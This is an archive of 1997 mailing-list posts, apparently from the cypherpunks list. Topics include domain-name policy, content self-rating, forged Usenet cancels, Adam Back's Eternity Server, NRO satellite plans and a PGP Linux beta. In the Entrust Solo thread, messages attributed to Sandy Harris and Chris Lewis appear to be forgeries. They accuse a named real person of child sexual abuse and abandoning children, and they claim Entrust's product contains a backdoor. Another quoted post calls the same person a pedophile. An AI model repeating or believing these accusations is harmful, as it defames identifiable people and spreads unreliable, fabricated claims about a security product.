Subject: Get your house in order or we bulldoze it
Message-ID: <19970730193626.56428@yakko.cs.wmich.edu>



   [1]CNN logo
   [2][ISMAP]-[3]Navigation
   [4]Infoseek/Big Yellow
   [5]Pathfinder/Warner Bros
   Tech banner [6]IBM RS/6000 Technology. From Deep Blue. To Deep Space.
   
                                    rule
                                      
              Internet groups seek consensus on domain name flap
                                       
     July 29, 1997
     Web posted at: 9:24 p.m. EDT (0124 GMT)
     
     WASHINGTON (Reuter) - A diverse array of Internet groups will meet
     Wednesday to try to hash out a consensus on the contentious issue
     of expanding Internet addresses.
     
     The online community has largely avoided government regulation on
     issues like privacy and indecency by forging broad agreements
     relying on private-sector solutions.
     
     But a red-hot feud has broken out over the seemingly mundane
     question of how best to expand the number of network addresses,
     like "cnn.com" or "whitehouse.gov," that direct e-mail, Web surfing
     and all other Internet activity.
     
     The mess is already drawing substantial attention from the
     government.
     
     The Clinton administration has formed an inter-agency task force to
     examine the address issue, and in June the Commerce Department
     asked for suggestions on how the system could be fixed. Earlier
     this month, the Justice Department confirmed it was conducting an
     antitrust probe into address registrations.
     
     The Commerce Department's comment period ends next month, so with
     further government involvement imminent, several Internet groups
     outside of the dispute arranged two days of meetings this week at a
     Washington hotel to bring together the warring factions.
     
     "If we can lower some of the divisiveness and get people talking in
     a constructive way, we'll feel we've accomplished something," said
     Harris Miller, president of the Information technology Association
     of America, which is co-sponsoring the meeting.
     
     "We hope at the end of the conference that there is a constructive
     dialogue under way," Miller said, noting that his group has no
     official position on the Internet address question.
     
     Currently, all Internet addresses end with two or three letter
     designation known as a "top-level domain."
     
     Although each country has its own top-level domain, many addresses
     are registered in a handful of generic domains including ".com" for
     commercial sites, ".edu" for schools and ".org" for non-profit
     groups.
     
     Network Solutions Inc. of Herndon, Virginia, has an exclusive
     contract from the National Science Foundation to register addresses
     in the most popular generic top-level domains. But the agreement
     expires in March 1998, and the science agency has said the contract
     will not be renewed.
     
     Available addresses in the popular domains are shrinking fast,
     leading to bidding wars over desirable names and, in some cases,
     lawsuits by trademark holders claiming infringement.
     
     Network Solutions has also been criticized for charging $100 for a
     two-year registration, and a recent computer error by the firm
     scrambled the 'Net for hours and highlighted the vulnerability of
     the current system.
     
     In February, a group of traditional Internet standards-setting
     bodies agreed on a plan to add seven new top-level domains and add
     up to 28 competing registries. The plan gained the support of some
     major players, including MCI Communications Corp, but failed to
     garner the backing of online services such as America Online Inc.
     
     The plan is still expected to form the basis of an eventual
     compromise, but Network Solutions has its own plan, as does a group
     of small Internet Service providers known as the Enhanced Domain
     Name Service.
     
     Copyright 1997 [7]Reuters Limited. All rights reserved.
     
References

   1. http://cnn.com/index.html
   2. http://cnn.com/MAPS/9707/navs/basic.map
   3. LYNXIMGMAP:http://cnn.com/TECH/9707/29/internet.addresses.reut/index.html#map
   4. http://cnn.com/MAPS/9704/explore.map
   5. http://cnn.com/MAPS/9704/spotlight.map
   6. http://www-cgi.cnn.com/cgi-bin/redir?SpaceID=61&AdID=1974&URL=http://www.rs6000.ibm.com
   7. http://cnn.com/interactive_legal.html#Reuters






From jai at mantra.com  Wed Jul 30 16:37:19 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Thu, 31 Jul 1997 07:37:19 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730093753.007a0ba0@caprica.com>
Message-ID: <3.0.2.32.19970730132529.007dc410@caprica.com>



At 4:03 PM 7/30/97 -0700, Paul Pomes wrote:
>> Yes, the removal of data from computer networks
>> through forgery is a crime. People who do so are criminals.
>>  -  Jai Maharaj

> Not if it's done through the normal operation of the protocol.
>  -  Paul Pomes

While there is a tendency to reconcile atrocities if they
are perpetrated long enough, there is serious doubt that
forgery and censorship are among them -- no, not in a world
that is beginning to learn about true freedom.

Jai Maharaj
jai at mantra.com
Om Shanti







From declan at well.com  Wed Jul 30 17:03:01 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 31 Jul 1997 08:03:01 +0800
Subject: Rep. White introduces Internet Protection Act
Message-ID: 



I admit I'm jaded after spending too much time -- which
in my case, is about three years -- in Washington.
I've seen too much special interest lobbying, too many
soft money favors, and (of course) a veritable slew of
unconstitutional legislation.

But sometimes a bill comes along that warms my heart.
It happened today, when Rep. Rick White (R-Wash)
introduced the Internet Protection Act to block the
FCC from regulating the Net. (Though I recall it's
been watered-down from the one he tried to pass last
year: http://www.hotwired.com/netizen/96/40/index1a.html )
Joining White in introducing the bill was the chair of
the House Telecom Subcommittee, Billy Tauzin (R-LA).

It stresses that industry, not government, should grow
the Net. Besides barring the FCC from regulating
Internet providers, the bill also amends the
Telecommunications Act to let the agency back away from
offline regulation if a comparable service exists
online.

This is important. After all, the FCC's charter gives
it jurisdiction over all electronic communications --
though the commission has opted not to exercise its
authority in cyberspace. A 1980 FCC directive dubbed
"Computer II" said the commission would regulate only
"basic" telephone services, not providers of "enhanced
services." That marked a reprieve for the Net, for the
"enhanced service provider" category includes
everything from voice mail service to alarm monitoring
firms to Internet providers. (That's why we don't pay
per-minute charges to log on today, much to the
chagrin of Bell Atlantic's lobbyists -- who tried in
1983 and 1996 to pass such a rule and met with a
crushing defeat each time.) Still, White's bill is
crucial since future commissioners may not display
this laudable regulatory forbearance.

Bob Corn-Revere, former FCC chief counsel, echoes this
in his recent book called "Rationales &
Rationalizations." He says: "The culture of regulation
already is marshaling its forces for a multi-faceted
assault on Internet freedom." After all, key
legislators like Rep. John Dingell (D-Mich) and Rep.
Edward Markey (D-Mass) have opposed legislation that
would exempt the Net from FCC content regulation.
Markey has said the Net should be regulated the
same way as other media, and Dingell wants to protect
the FCC's ability to "apply local [cable television]
franchising requirements to the Internet." Let's not
even talk about what the religious right would like
to do...

"Regardless of ideological differences between
liberals and conservatives, however, there really is
only one wish -- to control the medium," Corn-Revere
concludes. And he's right.

-Declan

An excerpt from the Internet Protection Act:

"LIMITATIONS ON COMMISSION AUTHORITY -- Except as
expressly provided in this section, noting in this Act
shall be construed to grant authority to the
Commission with respect to --

(A) the rates, charges, practices, classifications,
facilities, or services for or in connection with the
provision of Internet information services to
customers;

(B) technical specifications or standards for the
provision of Internet information services; or

(C) any other regulation of the provision of Internet
information services"



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From tcmay at got.net  Wed Jul 30 17:14:58 1997
From: tcmay at got.net (Tim May)
Date: Thu, 31 Jul 1997 08:14:58 +0800
Subject: Yet another self-labeling system
In-Reply-To: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
Message-ID: 



At 2:01 PM -0700 7/30/97, Kurt Starsinic wrote:
>    I'm in favor of a ratings system; not one which indicates for whom a
>given page is suitable, but rather one which identifies the subject matter.
> The Dewey Decimal System is a primitive example of such a system.
>
>    It seems to me that, if the USG is in the business of encouraging or
>endorsing morally normative ratings systems (which, of course, they've done
>for years), they're discouraging free discourse regarding child-rearing.
>
>    It's important that parents can protect their children from content
>which _they_ believe to be inappropriate, but providing boilerplate (such
>as "adult"/"non-adult") turns parents into sheeple.
>
>    I could write a book, but I think I've made my point.

But not convincingly.

By all means, label, categorize, rate, spindle, fold, or mutilate your own
material.

But don't demand that others do so. Any requirement that words, writings,
Web pages, or other utterances be labled, categorized, or rated is an
unconstitutional interference in the practice of free speech.

I don't expect to convince you. You and other censors will likely pass some
law requiring labeling, then a test case will be found, and, if the Supreme
Court adheres to the Constitution, the law will be struck down.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From dformosa at st.nepean.uws.edu.au  Wed Jul 30 17:30:16 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 31 Jul 1997 08:30:16 +0800
Subject: Yet another self-labeling system
In-Reply-To: <33DFB441.59A0@geocities.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 30 Jul 1997, Doug Peterson wrote:

> Kurt Starsinic wrote:
> > 
> >     I'm in favor of a ratings system; not one which indicates for whom a
> > given page is suitable, but rather one which identifies the subject matter.
> >  The Dewey Decimal System is a primitive example of such a system.
> 
> Technically the Dewey Decimal System in not a rating system, it's a
> subject index.

I think that is what the Kurt is arguing for.  Some sort of subject
tagging rather then a Adult content flagging.  This would have a dule
roll, it would discrouge peaple who do not wish to view that type of
matiral and would encourage peaple that do wish to view that matrial.

In addtion peaple would volterly rate there pagers without need to any
mandotry scheam as it would help peaple searching for that type of
matiral.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9+fnaQK0ynCmdStAQEm/gQAmwthNDtJXoiVavsXTcEHbxcJgZQ9S8O/
3DKjs554XirPCWI7BH37if82hQ7j8jNzn+wTsOTp0yhYnGtgD+H9xbcGOHTxWRi+
GbtiIJIZxzqpB3okscKpjdrxLowkqVBtJ6B/Wz0uZrtCgvLxmknHgCHfeyUpH4lO
0O//vIFXiGg=
=gSLk
-----END PGP SIGNATURE-----






From enoch at zipcon.net  Wed Jul 30 18:07:45 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Thu, 31 Jul 1997 09:07:45 +0800
Subject: Eternity Server 0.04 Available
Message-ID: <19970731010048.19631.qmail@zipcon.net>



I am pleased to announce that I have successfully installed Adam Back's
"Eternity Server" on my home page.  This server permits a user to
transparently browse Web content posted to Usenet in encrypted form in
newsgroups like alt.anonymous.messages. 

Eventually, the Eternity Server will also serve web content from a variety
of more permanent repositories, like Altavista and Dejanews.

The Eternity Webspace is comprised of http URLs in a new virtual top level
domain, .eternity.  All documents are PGP signed, and posters may
optionally choose to have their domains indexed in a top level directory
under the URL http://eternity/. 

PGP is used for encryption, and documents may require the user to supply a
password before they can be viewed.  Documents may also be encrypted
with the hash of the URL, so that documents are only accessible to
individuals who already know their names. 

Although I expect most people will want to install their own servers in 
their Unix shell accounts, I will leave my server open for a little while
so that people can play before installing the software.

To try it out, just select the "Eternity Server" link on my homepage

             http://www.zipcon.com/~enoch
 
In order that people have something to browse, I have seeded
alt.anonymous.messages with two virtual web sites.  

The first of these has a URL of http://barney.eternity/ and is a single
document describing different ways one might kill a certain purple
dinosaur.  

The second has a URL of http://boylinks.eternity/ and is a large index
of boy-related resources on the Web, recently made homeless by the
CPAC/Sewer people.  The authors have devoted their best efforts to make
sure this list contains no links to porn or illegal material.  

The latest version of the eternity server may be found at Adam Back's
Web site and is called eternity-0.04.tgz.  You will need Perl 5 and
access to cgi-bin to install it. 

The eternity home page is...

          http://www.dcs.ex.ac.uk/~aba/eternity

Included are the eternity server, written in perl, and a "sitegrabber,"
which can be used to post entire websites to Usenet.

Enjoy...

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From aba at dcs.ex.ac.uk  Wed Jul 30 18:10:32 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 31 Jul 1997 09:10:32 +0800
Subject: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DF9522.3985417E@cptech.org>
Message-ID: <199707310045.BAA27618@server.test.net>




James Love  writes:
> Paul Bradley wrote:
> > > [Pissing, Fisting and beastiality!]
> > >
> > > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> > 
> > We can clearly come to no agreement here as I cannot see any material
> > listed above which would be harmful in any way to a viewer, child or
> > not.
> 
>    Paul. Do you *have* any children?  Jamie

I have children.  My views are generally liberal.  I could probably
come up with a few things I think would not be appropriate
viewing/reading at this stage (4 year old?)

However, and this appears to be a point being missed here, it is
pretty much irrelevant what I think should be appropriate for my
children, because the person you are proposing to rate the site is the
site's author.  It is inevitable that the site's author will have
different views about what is suitable for children than any
particular parent.  Pick 10 people, you'll have 10 different sets of
what is suitable.

Even if government were to insist that everyone self rated, it would
be damn near meaningless.

If you as a parent are too lazy to observe what your children read,
you could use a third party rating service.  I believe that there are
several on the market right now.

You should attempt to evaluate the rating services to see what they
block.

Perhaps you would go on the advice of a ratings service rating
service.  Perhaps you would obtain demonstration versions and form
your own opinion.

Clearly government mandated self-rating is moving towards thoughtcrime.

Third party rating services are services.  If you don't like the
service, don't buy it, or start up your self in competition.

Now where does the need for government come into this picture?

General rhetorical question: indeed why have governments at all?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199707310103.CAA27631@server.test.net>




Some people have been arguing that cancelling other peoples posts
based on their own subjective views is a good thing.

It would seem that they are arguing that it is a good thing because it
saves bandwidth, and because it gives them satisfaction to silence
unpopular minorities.

Foo on that.

It's censorship.  If you didn't write it, you have no business
cancelling it.

NoCems are a good solution to mailing list and USENET groups spams.
Then each person can take their pick of which posters article ratings
to use, or can create their own rating service.

For email spams (not talking about cancels here), I'd suggest
attaching electronic payment to emails as a condition of delivery.

A temporary fix for emails, or another approach, is to use hashcash.
Hashcash is a token of CPU time.  It proves that the sender has
consumed a given number of seconds/minutes/hours CPU time.  The
receiver sets their software to reject mail (bounce with explanation,
or put into potential spam folder) to squelch out spam.

A description of hashcash, and an implementation can be found here:

	http://www.dcs.ex.ac.uk/~aba/hashcash/

Mail from known addresses (friends, mailing lists) would be marked as
exempt from postage requirements.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Adam Back wrote:

> Some people have been arguing that cancelling other peoples posts
> based on their own subjective views is a good thing.

Nno one is arugeing that.  Both sides in this debait aggry that that is a
REAL BAD thing.  Spam cancelers use an objective rules.  The world would
be a better place if this didn't happen and everybody was on NoCeM.  But
yet this is not true.

[...]

> It's censorship.  If you didn't write it, you have no business
> cancelling it.

Not even forgeries in my name?  Not even out of the control spews from
fidonet?

> NoCems are a good solution to mailing list and USENET groups spams.

NoCeMs don't work on email.

> For email spams (not talking about cancels here), I'd suggest
> attaching electronic payment to emails as a condition of delivery.

And thus killing mailing lists like freedom knights and cyperpunks?


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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C0KBkPgxHcKHBEs53oMRtHJTkMMx3XhCL24fUPI8j1Coy/rvraFqNF6S1WppZSwa
UawusK+H1ZY=
=mDBU
-----END PGP SIGNATURE-----






From jai at mantra.com  Wed Jul 30 18:59:55 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Thu, 31 Jul 1997 09:59:55 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <3.0.2.32.19970730154422.00864100@caprica.com>



>> Forgery is a crime and such acts are not justified.
>> - Jai Maharaj

> Spamming is a crime (theft of computer resources) 
> and sometimes such acts may be justifiable self-defense.
> - Martin Pool

The commission of crimes such as forgery and censorship is 
not an acceptable excuse to stop the flow of information, even 
if the free flow is perceived by some as a crime.

Jai Maharaj
jai at mantra.com
Om Shanti







From nobody at REPLAY.COM  Wed Jul 30 19:29:10 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 31 Jul 1997 10:29:10 +0800
Subject: Netly News Fan Mail
Message-ID: <199707310215.EAA09572@basement.replay.com>



Mike Duvos wrote: 
> It appears that the CPAC/Sewer folks have read the recent Netly News
> article on their activities and were not pleased.  This little blurb
> healines the "Sewer List" this morning.
> 
> -----Begin Officer Paladino Rant-----
> 
> July 29, 1997, I was told of an article that appeared on the Net.
> It appeared on a Netly News site.
...
> In the article he links to a few sites showing young boys but he
> forgot to link to the 1000's of sites showing young boys in the
> nude.
> You will see sites exposing young boys, as young as 4 years old,
> nude.

  Strange. I followed some of the links on the Sewer site, and all
I found was that they were harassing and slandering people with
perfectly legitimate reasons for having normal pictures of clothed
children on their site.
  Are child actors supposed to put pictures of adults who look
similar to them on their web sites? Are pictures of themself 
(fully clothed) "pornography" when gay teens put them on a web
site, but pictures of themself that Christian teens put of
themself on s web site are "wholesome?"

> Freedom is a great thing and this is the greatest country in the
> world. I wonder how many soldiers that gave their lifes fighting
> for that freedom, had pictures of nude boys in their wallets,
> instead of their families. Think about
> that.......................

  No doubt some of those soldiers had naked pictures of their
children in their wallets, but I doubt if those pictures gave
them a hard-on, as they would obviously do for Officer Paladino.
  Officer Paladino seems to fail to understand that "his" hard-on
does not make "other" people perverts.

> -----End Officer Paladino Rant-----

> Will someone please buy this poor man a spell-checker? :)

  Intelligence and educations are not requirements to become a
member of the Righteous Right. Neither are tolerance and respect
for the personal moral beliefs of others.
  It will be interesting to see whose "moral values" prevail on
the InterNet when the laws and traditions of various societies and
nations come into conflict. My prediction is that it will be the 
moral values of the most intolerant nation with the largest weapons.

Dr. Anonymous






From stutz at dsl.org  Wed Jul 30 19:29:12 1997
From: stutz at dsl.org (Michael Stutz)
Date: Thu, 31 Jul 1997 10:29:12 +0800
Subject: Eternity Server 0.04 Available
In-Reply-To: <19970731010048.19631.qmail@zipcon.net>
Message-ID: 



On Wed, 30 Jul 1997, Mike Duvos wrote:

> Eventually, the Eternity Server will also serve web content from a variety
> of more permanent repositories, like Altavista and Dejanews.

How many other major repositories are there? I still have faith in Dejanews,
but have serious doubts concerning the permanence and expanse of the
Alta Vista database. Their Web index, at least, has not grown at the same
pace as Web documents, and seeminly arbitrary sites trigger their "spam
filter," where further URLs from that domain are refused.

>From :

"John Pike, webmaster of the Federation of American Scientists web site
responded to the article, complaining that he found only 600 of 6,000 pages
from his web site to be indexed by the Alta Vista.

"Pike's response went on to detail the a message he received from Alta Vista
regarding this. He was advised that 600 pages were probably the most he'd
see for any domain. He was also given the example of Geocities, which is a
popular site that provides web space for its members. He was told that
although Geocities has over 300,000 members (and thus at least 300,000
potential web pages), only 300 pages from the domain had been indexed."






From randerso at ece.eng.wayne.edu  Wed Jul 30 19:53:50 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 31 Jul 1997 10:53:50 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>



-----BEGIN PGP SIGNED MESSAGE-----

At 02:03 AM 7/31/97 +0100, Adam Back wrote:

>It's censorship.  If you didn't write it, you have no business
>cancelling it.

Have you considered the actions of the news-admins that are auto-canceling 
anything with more than a certain number of cross-posts, or posts with "Make 
Money Fast" in the subject? (I think excessive posts to certain newsgroups 
may also fall into this category.  I think the big 6 get auto-covered by 
this..)

:-)  

"Make Money Fast" are killed because they're illegal scams in the US and I 
think in most of the world.

My question is, are you including these in the above comment, or not?

Ryan
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From jya at pipeline.com  Wed Jul 30 20:12:20 1997
From: jya at pipeline.com (John Young)
Date: Thu, 31 Jul 1997 11:12:20 +0800
Subject: NRO: Risky Methods of Data Exploitation
Message-ID: <1.5.4.32.19970731024951.00734dcc@pop.pipeline.com>



Wonder what's meant by "risky methods" NRO envisions in the 
article below by:

     "Using advanced and potentially technologically risky
     methods of exploiting data to learn more from it."

----------

     30 July 1997, Jane's Defence Weekly

     NRO opens up to new satellite system ideas 

     For the first time in its history, the once super-secret 
     National Reconnaissance Office (NRO) is considering whether
     commercial space technology can satisfy its `customer'
     requirements for reconnaissance data needed by the DoD and
     the intelligence community. 

     In existence for over 30 years, the NRO is coming in from
     the cold for one clear reason: acquisition and operation of US
     reconnaissance satellites continues to account for most of the
     $28 billion in annual spending by the US intelligence
     community. Congress wants to find ways to trim the bill by
     encouraging the NRO to adopt commercial technology and
     move towards launching smaller, less expensive satellites. 

     The question of whether the NRO should continue to exist
     was an open debate last year. A panel chaired by Adm David
     Jeremiah, former vice chairman of the Joint Chiefs of Staff,
     concluded that the unique partnership between the Director of
     Central Intelligence and the Defense Secretary to build,
     operate and manage space-based intelligence systems should
     continue in the form of the NRO. 

     "There are important inter-relationships between the NRO and
     DoD space activities in areas such as launch technology,
     industrial base and communications, and the NRO needs to
     use DoD systems such as the Global Positioning System as
     well as the DoD needs to use products from NRO systems,"
     the report said. However the panel also emphasised that all of
     the relationships between the NRO and the Pentagon need
     clarification. 

     NRO Director Keith Hall is driving much of the process at the
     agency towards opening the door to commercial technology
     and improving the agency. "I do not think that a customer
     that needs a picture to answer a key question to make an
     operational decision cares whether that picture comes from
     one of my satellites, an airplane or a commercial sensor
     system," he said. "If that means a commercial system can
     provide some of that, I am entirely for it." 

     A major vehicle for operational change at the NRO is the
     Future Imagery Architecture (FIA) programme aimed at
     fielding a next-generation space-based imagery intelligence
     (IMINT) system. "We have said to our FIA vendors that they
     are free to propose to us a mixed architecture of government
     systems and commercial systems," said Hall, noting that such
     a notion is indeed a first for the agency. "We have not
     heretofore been involved at all in the acquisition of
     commercial imagery." 

     The FIA may set a precedent for future reconnaissance
     acquisition. In mid-1996, the NRO and the old Central
     Imagery Office, now part of the NIMA, concluded an initial
     `Phase A' of an architecture study which detailed the
     attributes of a future imagery system most wanted by NRO
     customers. It resulted in the identification of more than 20
     varying performance levels. 

     The NRO began what it calls the `Phase B' concept
     programme in May last year. It is working with six
     contractor teams and the NIMA to determine "what utility
     would those differences in performance have," said Hall, who
     became director in March. 

     The NRO expects to publish a final `Phase C' solicitation to
     industry with detailed performance specifications by early
     next year. Hall said that the solicitation will have "objective
     requirements and the relative value the government places on
     them". 

     Contractors will not be told precisely how to meet those
     requirements but only the performance objectives. `Phase C'
     will be separated into a satellite segment and an integration
     and ground segment. "We have some vendors that are bidding
     on all segments so theoretically a single contractor could win
     it all," said Hall. A final contract award is expected late next
     year with the first satellite system due to be flying early in the
     next decade. 

     Hall also said that smaller satellites will be considered in the
     FIA as well as other constellations. Although they present
     some technical challenges, constellations of smaller satellites
     mean that more satellites will be on orbit, leading to more
     frequent `revisits' over targets and less overall system
     degradation if one satellite fails. 

     The FIA programme has already led to some innovation. The
     small Surveillance, Targeting and Reconnaissance Satellite
     (Starlite) being proposed by the Defense Advanced Research
     Projects Agency (DARPA) for tactical reconnaissance could
     be considered as a future imagery architecture option.
     However, it appears more likely it will become a technology
     demonstration. 

     DARPA's proposal underscores the dilemma of how to draw
     a distinction between reconnaissance - an NRO mission - and
     surveillance, which traditionally has been done by the US Air
     Force in monitoring weather and missile launches for
     example. "We will do more joint programmes with multiple
     sensors," predicted Maj Gen Robert Dickman, the DoD space
     architect. 

     As the NRO and DoD grow closer, Hall believes it is
     important to acknowledge that commercial systems can only
     go so far in meeting the precise resolution and product
     delivery requirements needed by the IC. 

     Aside from fielding the FIA, Hall has set a number of other
     objectives for the agency, including increasing funding for
     research and development by re- allocating existing funds. His
     five mission objectives in research and development are: 

     - Developing new sources and methods, such as collection
     and processing of information against hard targets; 

     - Orders of magnitude improvements in efficiency and
     effectiveness of NRO systems; 

     - Using advanced and potentially technologically risky
     methods of exploiting data to learn more from it; 

     - Using space-based solutions to address "intractable"
     intelligence problems such as monitoring chemical and
     biological warfare facilities; 

     - Improving "space services" by assisting the US Defense
     Department with its space mission when possible. 

     -----







From sandy at storm.ca  Wed Jul 30 21:11:00 1997
From: sandy at storm.ca (Sandy Harris)
Date: Thu, 31 Jul 1997 12:11:00 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <33E0073C.4896@storm.ca>



> Dr.Dimitri Vulis KOTM  writes:
> 
> > I ask everyone on these two forums to inform Northern Telecom Forgers /
> > Bell North Forgery Research / Entrust that we will boycott their
> > "security" products as long they continue to employ the child-molesting
> > pedophile Chris R. Lewis - the biggest forger on Usenet.

  Chris Lewis' sexual predilictions are of no concern in the issue of
an individual's right to use any means necessary to force their own
censorous values on the rest of the world.
  Despite what Chris Lewis did to my six year-old niece, I support
his right to destroy the creations of those with whom he disagrees.

  Northern Telecom, Bell Northern and Entrust take the position that
employing persons who openly admit to forgery and censorship should
in no way reflect badly on their production of a product in the
security market.
  Entrust is confident that Chris Lewis' forgery, fraud and deceit
in no way affects the level of trust and confidence that people should
have in Entrust security products. After all, people lie, cheat and
steal all of the time. Why should those who work on security products
be held to a higher standard?

  What this anti-forgery scum, Dimitri, is actually upset about is 
Chris Lewis cancelling spam. He calls that "forgery" because the 
spammer's name goes in the sender field of the cancel message. Nonsense.
  If someone were to put my name in the sender field of email, I would
certainly not call that "forgery," even if they used email sent in my
name to suggest that I participated in the sexual acts Chris Lewis
committed with my niece. (BTW, the charges against me were dropped
after her unexpected death.)







From beta at pgp.com  Wed Jul 30 21:16:22 1997
From: beta at pgp.com (PGP Beta Team)
Date: Thu, 31 Jul 1997 12:16:22 +0800
Subject: PGP Linux 5.0b11 feedback?
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

PGP for Personal Privacy 5.0b11 Linux is available for public beta in the
US and Canada via:  and we'd
appreciate expert feedback.

Should you by some miracle find an actual bug ;) please report it to
, which is read by those responsible for developing
and testing this version. It helps us if the first sentence or two
summarizes the problem, and if you include details on how we can reproduce
it in SQA, including any hardware/OS configuration info you think relevant.

If you have a general [comment] or [feature] request, those are welcome
too, but please prepend those meta-tags in the subject so we can easily
separate them from a [bug] that needs squashing. The 5.0 code is
feature-frozen, but we will definitely put all good ideas in the hopper for
the next rev.

Thanks!

   dave


__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
 Beta Test Mgr.      fax: +1.415.631.1033       555 Twin Dolphin Dr. #570
       web: http://beta.pgp.com     Redwood Shores CA 94065
 PGP Key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x48824435


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=rbpv
-----END PGP SIGNATURE-----






From clewis at ferret.ocunix.on.ca  Wed Jul 30 21:46:15 1997
From: clewis at ferret.ocunix.on.ca (Chris Lewis)
Date: Thu, 31 Jul 1997 12:46:15 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <97Jul30.141811edt.32257@brickwall.ceddec.com>
Message-ID: <33E01637.422F@ferret.ocunix.on.ca>



tzeruch at ceddec.com wrote:
> On Wed, 30 Jul 1997, Michael C Taylor wrote:
> > Entrust Technologies (www.entrust.com) has made Solo available for
> > download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> > A mere $49 Cdn (~35 US) for commerical usage...
> >
> > Solo uses 128-bit encryption, which is CAST-128, the royality-free
> > algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> > cryptography and has DES, Triple DES available.
> 
> It would be interesting to know how they managed to do it.  The fine print
> in the license says it cannot be exported from the US and Canada without a
> license (which a second press release says they have, but doesn't say they
> had to do anything to the program in order to obtain it).

  Entrust didn't have to change the program in order to get permission
for export of the product because it was designed with a built-in back
door for the use of Entrust employees, anyway. 
  Thus it was only necessary to drop off the back door password with the
night janitor at the federal building in order to have export approval
by
early the next morning.

> PGP 5 uses CAST (and 3DES and IDEA), with DH/DSA/SHA (or MD5 or RIPEM, and
> with an RSA backward mode).  Does anyone know which hash algorithm
> Entrust/Solo uses?

  Unfortunately, the person who designed and developed that particular
part of the software has left the company in order to seek treatment for
his drug and alcohol abuse problems. (I always wondered why he giggled
every time someone said the word "hash.")
  I am confident that his work in this area was satisfactory and Entrust
has every intention to hire another programmer to test the program if
problems should arise in the future that affect our profit margin.

  I would be happy to answer any other questions you may have about the
Entrust product, but right now the children's crying is really getting
on my nerves, so I'd better go drop them off in the woods near their
home (if I can remember where it was I picked them up).

---
Chris Lewis
"Forging 'In Good Faith'"






From dave at kachina.jetcafe.org  Thu Jul 31 12:59:13 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Thu, 31 Jul 1997 12:59:13 -0700 (PDT)
Subject: Entrust Technologies's Solo - free download
Message-ID: <199707311958.MAA25081@kachina.jetcafe.org>


Martin Pool writes:
> Dave Hayes wrote:
> > Sandy Harris writes:
> > > What this scum is actually upset about is Chris Lewis cancelling
> > > spam. He calls that "forgery" because the spammer's name goes
> > > in the sender field of the cancel message. Nonsense.
> > According to RFC 1036 forging cancels for articles that do not
> > originate from your news site is not allowed. He is clearly in
> > violation of the RFCs. Spam jihads are not sufficient reason
> > to ignore internet protocols.
